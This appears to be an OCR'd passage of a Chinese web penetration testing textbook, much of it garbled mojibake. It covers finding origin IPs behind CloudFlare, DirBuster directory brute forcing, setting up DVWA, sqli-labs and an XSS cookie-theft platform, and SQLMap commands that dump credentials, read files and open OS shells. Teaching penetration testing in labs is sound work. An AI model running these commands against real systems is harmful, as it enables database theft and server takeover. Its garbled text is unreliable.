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M EENETCRAFT Chttps://www.netcraft.com/) WS 4 (TP shid 3,
ATLARE U B AR ESRIPER

o IR EHFRMEEAE H S App, AT LAZ2EAI A Fiddlers{Burp Suite}NHX App 7%
K, MEMRE] B AR ESLIP,

°  %dCloudFlare CDNEH HLIP. ILEIR % W uk &R 4# A CloudFlare 2 4t /1)
CDNJR%s, fEME T HAM s FCDNJE, AT L% 2308 78 28 3 Cloud
FlareWatch Chttp://www.crimeflare.us/cfs.html#box) % CloudFlareZ% /- F 3 i3k
ITHESEIPEW, SRWMAEI-12577%.

(#4480 www.yahoo.com)

min. rtt@/NEEHE
392.793
343.958
353.155
199.412
259.780
271.091
315.269
402.031
407.555
271.971
196.149
282.582
411.069
208.007
232995

avg. rtt max.rtt IP

412.383
357.038
353.955
199.560
282.745
281.409
316.345
429.712
413844
287.580
197.404
282.706
425.891
221.759
233.146

420.060
365.381
354.936
199.736
293663
290.064
320.555
442,800
419.948
303.520
200.647
282 824
437425
235249
233730

122.225.30.38
58.221.78.154
122.225.30.38
58.221.78.154
58.221.78.154
58.221.78.154
58.221.78.154
122.225.30.38
122.225.30.38
58.221.78.154
58.221.78.154
58.221.78.154
58.221.78.154
58.221.78.154
58.221.78.154

A M i Az i 25 2T 66 ]
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arnold.ns.cloudflare.com
betty.ns.cloudflare.com

SSL certificate info for vidreactor.com

A direct-connect IP address was found: vidreactor.com 185.92.194.18 ROMANIA
An attempt to fetch a page from this IP was unsuccessful.

Previous lookups for this domain:

= 2018-01-14: vidreactor.com 185.92.194.18 ROMANIA
= 2017-11-17: vidreactor.com 185.92.194.60 ROMANIA

E1-12 #ifCloudFlarefEsEIP

4. WIFREXAY IP

REHARPESLIPLUE, 0 SiE L E LR ? ani & Web, 5 1H B AEGIE J7 1%
R EEZRAIPYI, FE TR 0T 2 A2 a4 & B 1) — 8 BUETE BinB
ELES KB T, & Bh2EbiMasscan ) T B AL HEXF RIIPEL H B FF 1 80+ 443, 8080
i O BIIP, SRJEIENERIPYI A, WEENE R 45 R 2T A H R Ao

1.7 WESRERXH

EBFENRA, FHN Web B 35 45 1 FBS R I BUR S & — NS AT ERT,
AT DREU S e B . X AR, EZEA R E Mk KEARE.

Xt W xh B 5% 893 2 EE DirBuster. 81 /5 8 A2 BAK . wwwscan .
Spinder.py (& PIERE M HFXIG G ). Sensitivefilescan (32827 PRE 5 34

B3k 1), Weakfilescan (REHPELXHEHREEHHE) ST E. AYifEHE
Hu % — T DirBusters

DirBuster/2OWASPTHF & i — 2k T Javade B K. & |1 TR M Web R %525 1 B %
AR . FANRAIavam 51, FTUAFREETavalz T (JRE) T&%%E. %L
B AR, FEMAES, FHERSRNT.

fETarget URLEIAMEF# ANERMMIE, AMBERFEREN “Auto
Switch (HEAD and GET)” &%,

AR Ml i B s it 2 2] AR
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WELRENHE, HEE20~302 . KKTEHSIRALEIH.
EEAMRE, WRERANANFHER, MESFE “List based brute force” I
7 “Browse” FF M, FTLLEF T RAWH T, hifETEE CHFR.
FESelect starting optionsHi%# “URL Fuzz” i T . ¥ B fuzzinghf 5
ER, fEURL to fuzzB A “/{dir}”. X BRI {dir} & —NEE, ARRRFHRFHE
—A7, WmE-13fR.
(RERSTT R AR SR ERER T T

File Options About Help

Target URL (eg http://example. com:80/)
!Llil’: //eng. kuas. edu. tw/ ]

Work Me... OUse GET requests only ©Auto Switch (HEAD and GET)
Nunber Of Threads =@=—=—————= {51, .. Iuoo Faster

Select scanning type: @List based brute force OPure Brute Force
File with list of d..

ﬁ’re;ru Flles\Dxr&uur\dlr«:ory 1ist~2. 3-small. !xtj-—

Char set fa~2h~, 0 °L."0~ ﬁ_ 1'.l ien gt‘\ _ fMax 1 nsrh
Select starting options: OStandard start point
#IBrute Force Dics DBe Recu...

Bifiture Foree Filex OUse Blank Extention

URL to fuzz - /test.html?url={dir}.asp

77 | i

(BB

El1-13 DirBusterfyEEE2

WERAIREHE Y B 52 http://www.xx®.com/admin/, FBAELEURL to fuzzBIEE
“/admin/{dir}”, BERLE “{dir}” WG AEEDHEREEN BRBEFH, Hi
I\ “:/admin/{dir}.php” #iK /13 Hiadmin B 3 T KIFTA phpC .

BrubZoh, SEET DRI AR S AL TR, KRBHLARE, XEH#EE—
WebScan (http://www.webscan.cc/) .

1.8 HEIES

Ha TREEZEMNRPEESNIUER, FALSTRY, RHEETUN—
% 5 TH) O 248 AN R HE .
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AR e M i sl i 2] AR

P> WebZA . HEnRE&Ed

BB X — F AT BATSEN R, EAENCEE B AR R SEIPHY B, BB AT BL
PR I KA A A E N R THEME. B, SIXAHEN R R
B IEA T MAREXER, EREENR SRR XREAEE A s
G BT A Sk St St BRI 5 2 ) (¥ B SETP B Ik K% P 30 B - IR 2R IR 55 25 FR AR ORA5 B

WP N AR TEY, BREACKEE T B A, QQ. ®
WES. w4, DARSRARSSE, il e s 18 A 10 75 VA IR B A B R, X
AT LLE 78 BAR A ERZRA R B EEREHETN, EEERARSHEE
BEEN, NMEREEETHERER G, RRHEENREF.

BRUCLASE, ERTURIA “HTE” EWEAERINEER, WE1-14F0xR, HIE
At TRFHTHEN R BN S T EENSWUEREE. IMEEEAERE
8, EEWUKIEN AT NIER. FABRESIRERFE, AT AT EH
RECAMBEOFY, ALETUESERRIERRIGRKSHFEE, REET
AR & TREFINE BEFL T, Xt B isH KA MOANK ST
PRAR B 1 .

HIK #EE SMONE oarls UBLEE ORESFE R SEOR { FBER 1

E1-14 #TPE
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AR g Ml i i 2] AR

£ 2E EERBMERLLK

7 Linux RE L% LANMP

LANMP & Linux | Apache. Nginx. MySQLFIPHP {5 F FF 55, A FiidE w2
WDLinux —RERM M 2, HiERkIEEFE SR, Bk, TRFENZER, o
AW FR.

wget http://dl.wdlinux.cn/files/lanmp_v3.tar.gz

TESERSE AT, R SCH R fr 2 Atar zxvf lanmp v3.tar.gz, EITHIFEWE
2'1Fﬁﬂ—_\‘o

:~# wget http://dl.wdlinux.cn/files/lanmp v3.tar.gz
--2018-02-24"2Z718739--  NTTP: /700 WatInux. cn/TI(es/(anmp_V3.tar.gz
Resolving dl.wdlinux.cn (dl.wdlinux.cn)... 222.186.61.177
Connecting to dl.wdlinux.cn (dl.wdlinux.cn)|222.186.61.177|:80... connected.
HTTP request sent, awaiting response... 200 0K
Length: 46706 (46K) [application/x-gzip]

Saving to: ‘lanmp v3.tar.gz'

lanmp v3.tar.gz : >] 45.61K --.-KB/s

2018-02-24 22:18:39 (2.54 MB/s) - ‘lanmp v3.tar.gz' saved [46706/46706]

:~# tar zxvf lanmp v3.tar.gz

conf/

conf/init.pureftpd
conf/defaulta2.conf
conf/RPM-GPG-KEY .dag. txt
conf/vps my.cnf

E2-1 Z=ELANMP

#iAsh lanmp.shfis 2IZ1TLANMP, XEFEFFHESMED, WE2-2f0R. &
Ti1/2 %% Apache. PHP. MySQL. Zend. PureFTPdflphpMyAdminfiR%%, iET22 %
#Nginx. PHP. MySQL. Zend. PureFTPdHIphpMyAdminfiiz45, W32 %$Nginx .
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> WebZ& el HEnlXEkiEs

Apache. PHP. MySQL. Zend. PureFTPdflphpMyAdminfk%5, #ET42 %3 E Ik
%, EISRIAEAN 2% . Zend GuardE—3KPHPINE T H, &b, %
A Zend A BEIR [A] [E % UL ; PureFTPdZFTPZS Al il 45; phpMyAdmin ) FH & F
Web T K& HIMySQLE R ZE R %% . X B Al DURYE B O E MR, BITEEE.

E2-2 ERREFE
FEKaliflUbuntus 2 4, % Ash lanmp.sh 2 5 #8F 0 F45%, i E2-3F17R .

:~# sh lanmp.sh
Lanmp.sh: 45: lib/common.conf: function: not found
lanmp.sh: 67: lib/common.conf: Syntax error: "}" unexpected

R

E2-3 $EIRER
XRE ARG W dashFRAMEARLF, 1043 H F BB & bash. BT LART BRI LA R A
<, HEFRRGENMES (Shell) #1F.

sudo dpkg-reconfigure dash

RIEIERE “<No>" ET, WE2-477~.
] Configuring dash |—

system shell will improve
not alter the shel

. default system shell (‘/bm/gn) A

<Yes> n A

&2-4 Configuring dash®m|
&% Asudo sh lanmp.shis &4k 22248, nE2-5ATR.
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uch file or directory
o such file or directory

e + php + + zend + pureftpd + phpmyadmin

X + ph my + zend + pureftpd + phpmyadmin
+ mysql + zend + pureftpd + phpmyadmin

Please Input (1,2,3,4;,5:
E2-5 EFERIEE

X R FRR BB AR, 2R R S8, ZEEERERIRE E
WE2-6FT R N2 . 763 U 88 rh 37 [ IPAN 80803 1, % A\ BRI\ f K 5 admin A1 35 AL
wdlinux.cn, 3% JE N EIUERIN RS, By bR

irewall rules to /etc/sysconfig/iptables: |

H2-6 R
£ Windows &R % b L3 WAMP

WAMP 2 Windows H' Apache . MySQLFIPHP ff 5 FH 7855, iX B8 H iR 1 £
WampServer, TEZ5F5 14 [F] 25 5l T 3 2220 SO 7E 22 e I 2 HR 38 HS RO PR AE 3R R
B “TF—37 %4, 8% 7 %% WampServer i £ 8 B — /N A L, R AR F
MSVCR110.d1l, f#R7J5 % /& Fhttp://www.zhaodll.com/dll/download.asp?softid=41552&
downid=2&iz3=2a9db44a3a7e2d765f2c100b6662097 &id=41625F #HMsvex110-zipJ& »
¥ 32 A1 B9 &R 48 i #) C:\Windows\System32 H 3% &, 64 i i1 R 4t U 7k 3
C:\Windows\SysWOW64 H3K T, HEFi2cde— i aefiok. a1Ri&%|Apache)3 3 KK
BB, B2 ApachelR%s, 245 EHT % ApachelR %5 IF R38N, E2-7THR.
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E2-7

P Web&A K Br: HiEniXEEkIsd

Localhost
B My Projects
4 phpMyAdmin

5 Apache i@82(4)

B alias B2

[Z] httpd.conf

[C] Apache #i2E=(P)
{D Apache #BIBE(C)

BEhApachefR %%

SR RIIE VT 127.0.0.1, WE2-8FiR, RBRRSECELIEFIET.

WAMPSERVER Homepage P +

< > C {0 ©httpy/127.00Y/ 5 5%l O
& 080 @rtke 036088 MiRir P Erm - Omn - B - 38R
Server Configuration
Apache Version: 2.4.9 - Documentation
PHP Version: 55.12 - Documentation
Server Software: Apache/2.4.9 (Win32) PHP/5.5.12
Loaded Extensions : g apache2handler % bemath Fbz2 # calendar % com_dotnet
# Core e ctype e curl & date % dom
Heereg & exif & fileinfo P filter *fp
#*gd e gettext Fomp #hash e iconv
*imap o ison e libxm! & mbstring & merypt
# mhash & mysql e mysgli # mysqind # odbe
% openss! % pore # PO & pdo_mysq! # pdo_salite
& Phar # Reflection & session & shmop & SimpleXML
e soap % sodeets #SPL % sqlite3 P standard
% tokenizer e wddx # xdebug * xml o xmireader
& xmirpc e xmiwriter sl *ip & 2lib
MySQL Version: 56.17 - Documentation
Tools Your Projects Your Aliases
4" phpinfo() No projects yet. & phpryadmin
" phpmyadmin To create a new one, just create a directory in « phpsysinfo
‘www', % sqlbuddy
% webgrind
WampServer Donate Alter Way
E2-8 4i5127.0.0.1
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2.3 F#EE DVWA RIERE

DVWARZ —ZKIFEEEN RIS FE, HPANEXSS. SQLIEAN. X E
&, XS . CSREFIER AR RN . EA IR 22 P T 8
R, ALENFEEHEEBRQE - NMEEESL, #AMySQLE EH 1)
phpMyAdmin, 3T FFhttp: //127.0.0.1/phpMyAdmin/, BIE %N “dvwa” FIEHEE,
E2-9F 7= .

phpMyAdmin 1_
j s BB s GBEd = Afs @BSe @SN SRR

& 8 s 90
s | MR
(ROEEREE) - i
R 3 | b FRBERE o
§ challenges ! dvwa —_—i =g v 5t
3 M ————-——' B =
i information_schema | - BEE .
¥ Joked | & challenges = BEGHE
| dvea o GERR
4 mysql T

E2-9 fGUEHRHEIERE

EE B S config U AF 32 T config.inc.php FEHE FEIH 7 4. 1S, BUREA,
I E2-10F 7R o

# Dotzhase memagesent

68 = 'S

080 = RS/ Careatly disbled

= Database sariatles

2 UBIN: The dutatese gm ied under db_database WILL %

i ENTIRLY DELETED dorg s
s Please use o dotabase et o
§ ) = array ()

E2-10 ERBEENEXER

BESERE, RAFFEH A D, FUSERSERRE RS, HEtEwwwH xR
T, FTFFN 283 [l http://127.0.0.1/setup.php, H7 “Create/Reset Database” 4%t
s, BTN ENIMER- 11577, $d “login” BIWER, ERIAKS Nadmin,



P> WebZAZ b HEMNXEKES

R Nypassword .

 Create / Reset Database.

{ Database has been created.

Please Iggﬁ m

E2-11 RERE
e B R R AT 4 IR AL 5 () Disabled, 1&E{PHP %% H 3 Kphp.ini X4,
# Flallow url_include, IO NOn, %R /5 E 5 PHPRI AR HX /N &%, nEl2-125

Do

N A A E N 1
B ehpjoi 0% I
ISP RIR(E) KECO) TEMV) WRNH) e e
; Maximum number of files that can be uploaded via a single »
request

max_file_uploads = 20

; Fopen wrappers

!’ |

U P 2 il

; Whe! " r " Worreset your database.

iftp: FRAFQ: allowurl_include Jntials in: Ci\wamp\wwwi/confi
. htt i {

allowl #ata will be reset

i RAKRAT© DMEW CHTO fadmin // password®) at any s!
i - el |

ihttp: RS TTTEY
{:_http://php. net/allow-url-include |
TN - or ;

e
PHP \ersion: 5.5.12
Web Server SERVER_NAME: 127.0.0.1

PHP function display_errors: Enabled (Easy Mode!)
PHP function safe_mode: Disabled

g tunction allow urt includegh Y ILE]

PHP function allow_uri_fopen: Enabled

PHP function magic_quotes_gpc: Disabled

PHP module php-gd: Installed

E2-12 f&php.inixx#
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2.4 IEESQLIFAESE

sqli-labsj& —3K % S SQLIEAIIFEF &, HATSMAFRBKEN, LB
5 Wk T 8 e R4 65 AR, S HITRS IR J5 K ORI 2 Wk i B &, #EA
MySQLE H 1 [{)phpMyAdmin, T JFhttp://127.0.0.1/phpMyAdmin/, 7£EHE & o7 2
FE44 N “security” HIEHEEE, FEAEURTSH Asql-lab.sql 3 S ANEHE E ., wE2-13
B o

phpMuyAdmin EEESESELUEEEE ]
| 3m s A % B GSH WSA S EE -
S #l 8 90
; | BAFIEIRE “security”
BEERBE) ..
seaunty [ ESAmXS: I

=) VHEIREER (2zip, bzip2, zip) ®F
(] emails EGTHELAY, . (). (ESHR] QE m -sql. zip

|} referers MBS Efe:| | REXM | sqHabsal (ARSI 2,048 KB)

Fuagents | f—
jusm IHENFFER: | ks |

OFRBER ) BHSA:

® Allow the interruption of an import in case the script detects it is cl
can break trensactions.)

AEfTEERENGH: |0

| st

| [saL

| RIUAER:

s AEWA: (NONE vlg
¢ TESXTEEAER (wro_mcremet) @

E2-13 SAMIEE

T FFsql-connections SC A 32 F ffidb-creds.ine U4, 7T LS SCERE FE K S L 2509
FEAERERELS, EEBNGEEIREELE, TS 7127.0.0.1/sqll/, BEE
By “Setup/reset Database for labs”, 1[&2-14f775 .
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@l LoadURL | hutp:127.0.0.1/sa11/

IR spitur |

*) | Execute

Enable Post data Enabie Referrer

SQLi-LABS Page-1(Basic Challenges)

Setup/reset Database for labs
| Page-2 (Advanced Injections) \
| Page-3 (Stacked Injegtions)

Page-4 (Challenges)

E2-14 {EBUIRENKIE

EFEwww BRI T sqll Uk, HHEAMIBEZERT, B “Setup/reset
Database for labs” J&4> H 3V [lhttp://127.0.0.1/sql1/sql-connections/setup-db.php, Hl
RO E2-15RE R, W 2RI,

@@ Load URL
& SpitURL
»/  Execute

http://127.0.0.1/sal1/sql-connections/setup-db.php

Enable Postdata  Enable Referrer

SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:
.....0ld database 'SECURITY" purged if exists
..Creating New database 'SECURITY' successfully
eating New Table 'USERS' successfully ;
eating New Table 'EMAILS' successfully
eating New Table '"UAGENTS' successfully

..Creating New Table '‘REFERERS' successfully

..Inserted data correctly into table 'USERS'
serted data correctly into table 'EMAILS'
..Old database purged if exists
..Creating New database successfully
..Creating New Table ‘NDWWP5RP8D' successfully
..Inserted data correctly into table 'NDWWPS5RP8D'

..Inserted secret key ‘secret_NWKS' into table

E2-15 ZRIEmMIN
2.5 23 XSS MiHEE

XSSHHAT & 2 MR XSS T #R B cookie UL Web T I f1)°F &, XSSH LL#IS
REM BT 3, BIHEARRT 9ilcookies G MMM L E., 4. F XSS
THEHE. B TTRRD, MISEE R SRIAFAEE (X EaE S, IPHbb) %.
IX L5 P A A2 B Frxsserme RS . TEARTHIFED M FEM A CEHBE, R
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HBBERREEXSS FERMEHRT, KRN TR,

o HEAMySQLE B FLH F (phpMyAdmin St [, HE— XSS & B,
nxssplatform, BB LML, WE2-16/78.

(¥~ 3§ information_schema ti #;'11 ’ ,\’:
:ff-*-j mysql
g;i*::‘ s WREE @ | ‘
: i ARR | xssplatform [] wig_bin v (e
(-] temp T 7
HIRE o B
information_schema a5 RENGR
| mysql = BERR
O test ay BEOR
Ul xss o RERR
84 a

E2-16 FEXSSTAMHIEE

o {&EMconfigphpT WIEIREERETE, AFEH 4. BHEMEFEESL, Uil
XSS & HIURLHHE, K13 A B F Hinvite£ Anormal, Z& AT & 40

E2-17FT7R
$<?pn
D) /e
* contig.php REME: MWHER. XBRELEH
- ClacHS, site BsRL//n0s, 01dCNE, 08
)
= H 1/t
mizoot': 1/BP
='123456°; 11ES
1 = xasplat oI’y Vg ¢ 1+
= IIORETER
- E-T38

Sconfig( 'dbType"

/8BS RT (BR R X Fnyaql)
1+ ERER </ ;
Sconfig('register’] //nomx.E!:xnv}:e,Rfci&i!iﬂ:‘ii‘}:clc:e,
$config('mailauth'} =false; IERMATERRE
/= w2 E
scontiol'urizess’) |=DiepiZazr.0.0u7 Y/ WAt
Sconfig('usl “false: 7/ 8T BEBUzL Rewrite

E2-17 {&config.phpH iz

o HEAMySQLE H H fijphpMyAdmin, $EFXSSF & MEHEE, FAEHEEF
fxssplatform.sql 314, SR/ AT LA FSQLA 4, W &R B+ JE A FIURLH
bk A S E A FIURL, anE2-18FT7~. R, 72 ¥ authtest.phpH ]
PILEARAD & 4y B SHURL, 40 E12-19H FZRHERR i 19ER 23 .

UPDATE oc_module SETcode=REPLACE(code,’http://xsser.me’,’ http://yourdomain/xss’)
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> Web&kaHbr: SEMKERES

b [ : locathect > B zacplatiom
[ mkm@n% 8F I ﬂ\@%-‘f-‘@s)\vl £#1

% @ EERAFE 0-4 ff (Gt 515, FHEM 0005 B)

1 UPDATE oc_module SET
2 code=REPLACE(code, " http://xsser.me’,  http://localhost/xsser’ )

(AT (R
E2-18 HITSQLER

< -
error_reporting(l):
7+ GET® soup_AvTH_UsLR $0spup_AUTR_ PR 83(H+/

Fu ((!3mset($_SERVER('FHP_AUTH _USER'])) || (!1sset(§_SERVER('PHP_AUTH #K']))) (
7 ZW: RAFERRIEEANWAE/
beader ('WiW-Authenticate: Basic realm="'.addslashes (trim($ _GIT(['infc'])).'"');
beader (*MITP/1.0 401 Unauthorized'):
ocho ‘Authorization Reguired.';

exit;

} else 1f ((1ssot(§_SERVER('PHP_AUTN_USER'})) && (1sset(§_SETRVER['PHP_AUTH_PH']))){
/- ERARE, BERXATIN ~/

W('Leuum:@mml_M(ul )tmw(‘_:!l?ﬂ(m_m_wﬁ

2

2

E2-19 {&%URL

°  EETRVEBEXSSFEMURL, &&EMAF, SR/E7EphpMyAdmin B i%
Foc_user, R iEM I fladminLevel A1, 1E2-20F77R. ¥ config.php
VEMHEC & H BInormal A invite (3 A8 E Ty A, B 5% PR ICEE A B ShBED o

id int1) | F**- =
userName  varchar(50) I Ere
— {

E2-20 {&%adminLevelf){&
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o TEREWFHSMH Chtaccess) , fEFEIRHEF T AIE htaccess X, 5
AUTHRES.

# apache ¥4

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteRule ~([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]

RewriteRule

~do/auth/(\w+?) (/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule “register/(.*?)$ /index.php?do=register&key=$1 [L]

RewriteRule “register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1
[L]

</IfModule>

# Nginx Fi

rewrite "~/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;

rewrite "~/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3
break;

rewrite "~/register/(.?)$" /index.php?do=register&key=$1 break;

rewrite "~/register-validate/(.?)$" /index.php?do=register&act=validate&key=$1
break;

rewrite "~/login$" /index.php?do=login break;

o [FEREMNIKSERXSSTFE, QIEHA, wWE2-2157xR.

XSS Platform A : admin . DAIQE W Bt

B8R “R=8

EIAN e - : : ; -
wRER  omEmE AER  wema  Bn

E2-21 ERXSSTAH
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3.1 SQLMap ¥

SQLMap@— M EHBIHSQLIEATE, HFEENGEAM. KINFMAS
URLHISQLIF NIRIH, WE TRZ S, XRFMEEEZMySQL. Oracle.
PostgreSQL. Microsoft SQL Server. Microsoft Access. IBM DB2. SQLite. Firebird.
SybasefISAP MaxDB. SQLMapzRH T LA FSFMEFAISQLIEANE AR .

o ETAREEREE, BIATCANRHE IR [5 5T A B 5% 4 BARBTEN

o ETHMMERE, BIARRE R ERAXHBEMES, ERAXMEE

AN R ZEIR 1R A2 T BT (BRI T TR (Bl i (a2 i) skl
o  ETHREEAN, WHEHSREHRER, SEEFEAMEGNSREER
[ 3] DT T

o EBXAEWEAN, TERT LS A UnionfME 5L T FIEN

o METMEN, W] LLEEAT Z KB AR HITEN .

SQLMap 58 K T e B IR R PR SUR A . i FEMS . BERIRE. Y B4R
MHRGE, HAERBUE A M EREPIRE AT EE A4 . SQLMapfIZhEEsE K BIik AR
L, ZHAEAN TEAGEFR HSQLIE NIRIA A TIEAR, #HSQLMap&A BN
ZFIRR .

3.1.1 %% SQLMap
SQLMapH %2 3% & B PythonFF 55 (R #fPython 3), A5 {# i/ Python 2.7.3,

AIEE M FERZEE I s, RETME, EHPythonfl) 23 HF, HiNZIFEE
AEEF, WE3-1FR.
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BEEGTE I
TEEm: Path
TEE): WindowsPowerShelliwl. 04;C: \Python2T|

Cas [ m

E3-1 ®EHETE

SR TESQLMap ) E M Chttp://www.sqlmap.org) T #H#hRFJSQLMap, F#F|
Pythonf %3 H XK T, FHSQLMap H F MBI IHAREF . T/ emd, HiAsqlmap.py
45 LRMTIEREIET, WE3-27R.

£1.8.7.15%dev>

http://sqlmap.oryg

we: sglmap.py [options]

ap.py: issing a mandatory option <(-d, -u. -1, -m, —»,. —g. o
rd, —update, ——purge—output or» —-—dependencies),. use —h for» basic or» —hh for
ced help

ess Enter to continue..._

E3-2 E{TSQLMap

3.1.2 SQLMap A7

1. HMBEEEEA
B8 H FRVEN 55 fEhttp://192.168.1.104/sql1/Less-1/?id=11, H|WrH B2 BFEEN
w2 s

sqlmap.py -u http://192.168.1.104/sqll/Less-1/?id=1
SR EIRFEEN, WE3-37R.
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E3-3 ZTAREBHFEEIEIAN
BE—MER, BEARFENSHERTETHAN, FEMWS, WFH

o

sqlmap.py -u "http://192.168.1.104/sqll/Less-1/?id=1&uid=2 "

AILLER, BITRAWMREREEEANEARE, “BH” —KBEMRE, FTHXS
FARBRMABRINIEE. XEF=AFEEFRMNH S : F—ArE B ARNE %
P& EET REAMySQL, & 75 7 ZE ko A ) Fo A 2504 e s 56 — b i R AE“ level 1 risk1”
TSR, 275 8 FMySQLT M [ T A Payload#EATHeM; 58 = Ab M B R SHUDF
IR, ERERERNEMSE, —KERNIZEZEREITT, WE3-4F7~.
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E3-4 SiTEAGSRIRERNES

2. HMNAPIIBERBRSEEEAN
MICAEF IIERHATTPIER, SQLMapAJ LA — N SCA A ZREXHTTPIE K, XA
A AR E A S E (Wcookie. POSTHIIESS), txt3CE A A A WebEiiEH,

InEI3-5 57 .

L08....... ... bt , ikl
GET /sqll/Less-1/?id=1 HTTP/1.1 DT B L S VI o R

Host: 192.168.1.104

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0) Gecko/20100101 Firefox/
53.0

Accept: text/html,application/xhtml+xml,application/xmliq=0.9,%/x;q=0.8

Connection: close
Upgrade-Insecure-Requests: 1

E3-5 txtXHERARE
HWr R EBFEEANNMSW TR, BITENSERME3-6FR, r—REFE
cookieyE N4 FH

sqlmap.py -r desktop/1.txt
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E3-6 HREBFEIA
3. BERSRIRP THABEIERE

B R E M EEN G, AT SRS TR EEEE, TR,
WSR2 ETH P A RUR SR S T B PR AR B R, a2 sUe] LASIH B
HEAEE, WE3-THR.

sqlmap.py -u http://192.168.1.104/sqll/Less-1/?id=1 --dbs

ME3-790] DUE B, B 7 1V 7ANOR B BT A S B PR 4 o g S N,
--dbs4i 5 fli-D xxx, & BB FE 4k 22 ) HAh B E
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rmation_schema

or I:",EII‘CGASC??EWEE

E3-7 ZEHIEE

4. REBEEPHRS

A AR AR E G, BB IRETIIAENRS, WFIR.
WMREZA LR AIMAN-DSECk I 25— BARIEHE 2, 84 SQLMap£ %1 Hi £ #E
FEFR A FERIER, W E3-8F7R .

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye --tables

[E3-8 dkeye#iEEHRETIFRSA

ME3-8F ] LLE Bl dkeye 2 i B2 H A I3 R L - HIREEFE N, --tables4i 5
M-T, BRRERRFHLEREM,
5. RENRPEIFER

ZMmAMIEARENEELE, BHiZETTENZEL, WTFR. BT%
A B 45 A E3-9FT 7R .
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sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info --columns

E3-9 TAFRE

ME3-9H 7] LLUE B 7 dkeye 504 22 H user_infoR F—HBFANF B . EFLEER
EANH, --columns¥i 5 f-C.

6. KBFTRAS
ZmARARNETFRAZE, FRZFERTEENEHEER, WTAR.

sqlmap.py -u 'http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info -C
username,password --dump

X BT E T ERAEEE 2 dkeye E FE Buser infoFk Fusernameflpassword FI1E, Ul
E3-10f775 .

i

o)

E3-10 ZEAGNTRES
7. RERHEENRFTERP
G & BRI M BR FE R BTE RS, s EEETH P A RRERE
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BT P R AOALRI , A %A@ BT DS P B2

sglmap.py -u "http://192.168.1.7/sql/union.php?id=1" --users

ALLEE, HETH K S Zroot, a1E3-1157R.

E3-11 FIHEERERN A A

8. RERBUEERF IR

B4 HIME A 25 O A B, A BT ﬁﬂ%éﬁu%}ﬁﬁuﬁlﬁ/\
PR RIRR, SQLMap=esI2 i A . #RJE %1 i Hash, JF 25 .

sqlmap.py -u 'http://192.168.1.7/sql/union.php?id=1" --passwords

ME3- 124 LLE S|, HASE FHMySQLS %, I LAfEwww.cmdS.comH H 1Tf#
W

E3-12 ZaFIEERERD

9. REXZSAIMISHIE =B 2R
i FH i < W LB 2980 RSt 8 A O B8 e, a0 R BT

sqlmap.py -u 'http://192.168.1.7/sql/union.php?id=1" --current-db

M IEI3-13 9] LA FIHHE 2 sql

El3-13 FHHmimusaERE
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10. REXZHIMISH B YR PR
8 I %2 AT LA H 2480 9l (58 P OB FEFR P, R i .
sqlmap.py -u 'http://192.168.1.7/sql/union.php?id=1" --current-user

ME3-14FTLIE S|, HF £root.

user: root@Locainost

E3-14 FHHRTRIEENRF

3.1.3 SQLMap #k. SR

1. --level 5: BEMNFER

- Tl SRR AT A G, — R ST e, FIilenel. ik
#&1. SQLMapfi F ffJPayload A] LA7Exml/payloads.xmlF & £, ] DAAR H& AH B A4 3K
N0 E E.KPayload, H S E HIPayloadik %, < H MR Hcookie. XFFZ L
EN. H8R, level SHIBAITHEE R ELENE .

XANSEE MR EEN S, GETHPOSTHIFHE #2473, HTTP cookie
TElevel A20F 52, HTTP User-Agent/RefererskfElevel N3MT &Mk, B2, 7
AN E R Payload SRS NIE N R, AT RIEATH 1, BUWUEHERlevellH.

2. —is-dba: HFIAFERENEENR

S HTEEYTK S 2B AEIEEEHRIK S, WFw, ERRE P
NiZfn 4, <iR[E Ture, WK 3-15078.

sqlmap.py -u 'http://192.168.1.7/sql/union.php?id=1" --is-dba

E3-15 ZEFLAIKFREAREEEERKA
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3. --roles: SIHEHIEEESERABE

Z S HATEERIEEA MMM, RN AP AR ERAERER AT
*x, WMINEGMASHIRRENHS A, B LLH-USHE e BEBANH A
th, Zar A 0E T 2400 E0E ZE 2 Oracle I i . ZEARZRFIH N Za S48 R A
3-16f 7~

role: DATE
E3-16 TEHIEEAFNEE
4. --referer: HTTP Referer 3k

SQLMap AJ LA7E 15 3K FP P& HT TP H [ referer, 4--level 2%k € A3 LL LR,
22zl X refereriE N o 1] LU FHrefereriy & K9, Ul--referer http://www.baidu.com.
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5. --sql-shell: IZ{TEENX SQLEQ

a4 AT AT 2 FISQLIES], W R, R Tselect * from users limit 0,1
BA], ZRWE3-17017R.

sqlmap.py -u 'http://192.168.1.7/sql/union.php?id=1" --sql-shell

E3-17 #ITIREMSQLIER

6. --os-cmd,--os-shell: EITERBRIERAEDS

TEHHEE AMySQL. PostgreSQLEMicrosoft SQL Server, 3 H 47 FH MR
5 PR X B BR 0 S 0 SR 3048 i My SQL - PostgreSQL, SQLMap_ kA& —A> — it il i,
A 5 S B Hsys_execORlsys_eval(), 5 B2 (13 7/ B B0Bt 7T LUBRT R
Gifn 4. fEMicrosoft SQL Serverd, SQLMap¥iffi Fxp cmdshellfZf&id#E, iR ikds
F (#£Microsoft SQL Server 2005 %% EA_FRR A BRIAMEEEH), I SQLMap4: 53T 5 I & ;
WMRAFE, SEHMIR.

Fi—os-shell 2 #(FT LU — 1 HLSCH0Shell, MIABITHIAS . BFRITEIE
AR (HLINPHPELASPHI & i 408 B 9MySQL), {3447 LA FHINTO OUTFILES 3
A5 H, A8 —/"Web/5i 1. --os-shell 5 £FASP. ASPNET. JSPAIPHPIUFHE = (H
BRTHSH, TR RAUR, A3 Rnis-dbafy N True).

7. -file-read: MEUEREEARSS28 ISENSCHF

Zar A T ST SO, 233 E AMySQL.  PostgreSQLE{ Microsoft SQL
Server, FH ZTH 7 A BRAE A RrE R E, SEEU SO AT AR SCA, AT B2
IS, T PAMicrosoft SQL Server 2005 A%, & >]--file-read S 1 v .
